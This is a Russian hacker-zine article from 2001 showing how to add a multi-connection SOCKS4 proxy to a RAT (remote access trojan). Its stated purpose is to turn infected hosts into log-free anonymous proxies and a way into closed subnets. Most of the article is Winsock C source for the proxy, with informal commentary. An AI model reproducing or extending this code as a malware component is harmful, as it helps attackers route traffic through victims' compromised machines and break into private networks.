in name of zero INOZ, issue #1, 20 nov. 2001 Встраиваем мультиконнектный socks4 в rat by CNerd // HangUP Практически каждый автор RAT, дописав основную часть своего детища, начинает наворачивать на ... эээ ... продукт своего труда всякие рулезно-кульные фичи и аддоны. И почти наверняка подумывал, а не встроить ли туда прокси сервер. И в самом деле, прокси всегда может пригодиться. В этом случае лучше иметь под рукой на каком-нибудь инифицированном хосте свой собственный, чем рыскать в поисках анонимных проксей (тем более, что мы на 100% можем поручиться за безопасность и отсутствие логов - сами же писали). Замечу также, что прокси сервер может быть использован для проникновения в закрытую от чужих глаз, рук и других оконечностей подсеть через установленный на соответственной машине RAT. Реализовывать будем мультиконнектный (расчитанный на 60 подключений - для Win9x на поток пределом является 64) Socks4 - достаточно широко используется и весьма несложен. Несколько слов по протоколу. Сервер принимает строку, состоящую из байт: 04 01 PH PL IP IP IP IP первые 2 байта - символы 04 и 01 вторые 2 байта - соотвественно старший и младший байты порта да еще 4 байта - IP адрес После обработки этого бреда, прокся ползет по указанному адресу:порту, и если с соединением облом, закрывает сокет, если же все путем, то выдает строку следующего содержания: 00 5A 00 00 00 00 00 00 Собственно, это все, что нам нужно. Итак, для начала объявим парочку идиотских массивов, переменных и поставим наш сокет на прослушку: SOCKET as[60],cs[60]; // accepted sockets, proxy client sockets arrays SOCKET sw; // основной сокет SOCKADDR_IN sa,st; int q,r; HWND hwnd; // хэндл созданного окна sw=socket(AF_INET,SOCK_STREAM,PF_UNSPEC); // создаем сокет st.sin_family = AF_INET; st.sin_addr.s_addr = INADDR_ANY; st.sin_port = htons(1080); // порт проксика bind(sw,&st,sizeof(st)); listen(sw,60); WSAAsyncSelect(sw,hwnd,20000,FD_ACCEPT); // назначаем обработчик Далее - обработка события FD_ACCEPT, в результате которого мы получим подтвержденный сокет, и назначим на него обработчики для FD_READ и FD_CLOSE. LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) { switch (iMsg) { case 20000: /* Соединились с основным сокетом */ if (LOWORD(lParam) == FD_ACCEPT) { q=sizeof(sa); r=accept(wParam,(struct sockaddr*)&sa,&q); // получаем подтвержденный сокет as[(r-wParam)/4-1]=r; // заносим его в массив WSAAsyncSelect(r,hwnd,20001,FD_READ|FD_CLOSE); // обработчик чтения и закрытия } break; ... А ниже уже обработка собственно назначенных подтвержденному сокету FD_READ (запрос на соединение с хостом, создание клиентного сокета и передача данных туда), FD_CLOSE. case 20001: lParam=LOWORD(lParam); for (r=0;r<60;r++) if (as[r] == wParam) break; // определяем номер сокета /* Чтение из сокета */ if (lParam == FD_READ) { q=recv(as[r],b1,65535,0); // собственно читаем // Это запрос серверу на соединение с удаленным хостом? if ((b1[0] == 4) && (b1[1] == 1)) { closesocket(cs[r]); cs[r]=socket(AF_INET,SOCK_STREAM,AF_UNSPEC); // создаем клиентный сокет sa.sin_family=AF_INET; // с таким же номером // выковыриваем IP sa.sin_addr.s_addr=MAKELONG(MAKEWORD(b1[4],b1[5]),MAKEWORD(b1[6],b1[7])); sa.sin_port=htons(b1[3]+b1[2]*256); // и порт WSAAsyncSelect(cs[r],hwnd,20002,FD_READ|FD_CLOSE|FD_CONNECT); connect(cs[r],&sa,sizeof(sa)); } else send(cs[r],b1,q,0); // иначе - передача данных в клиентный сокет } /* Закрытие подтвержденного сокета */ if (lParam == FD_CLOSE) closesocket(cs[r]); // мочим соотв. клиентный сокет break; ... Ну, наконец добрались и до клиентного сокета - здесь происходит выдача подтверждения об успешности соединения, и передача данных в обратную сторону. case 20002: lParam=LOWORD(lParam); for (r=0;r<60;r++) if (cs[r] == wParam) break; /* Успешно соединились с удаленным хостом! - рапортуем */ if (lParam == FD_CONNECT) send(as[r],"\0\132\0\0\0\0\0\0",8,0); // oct132=dec90=hex5A /* Передача данных в подтвержденный сокет as[r] */ if (lParam == FD_READ) { q=recv(cs[r],b1,65535,0); send(as[r],b1,q,0); } /* Отвалился клиентный сокет, обламываемся */ if (lParam == FD_CLOSE) closesocket(as[r]); // закрываем подтвержденный break; ... Ну вот и все. Надеюсь, это достаточный апофигоз для нашей кончита ля фигедия? Ждем рекомендаций лучших проксеводов. ;)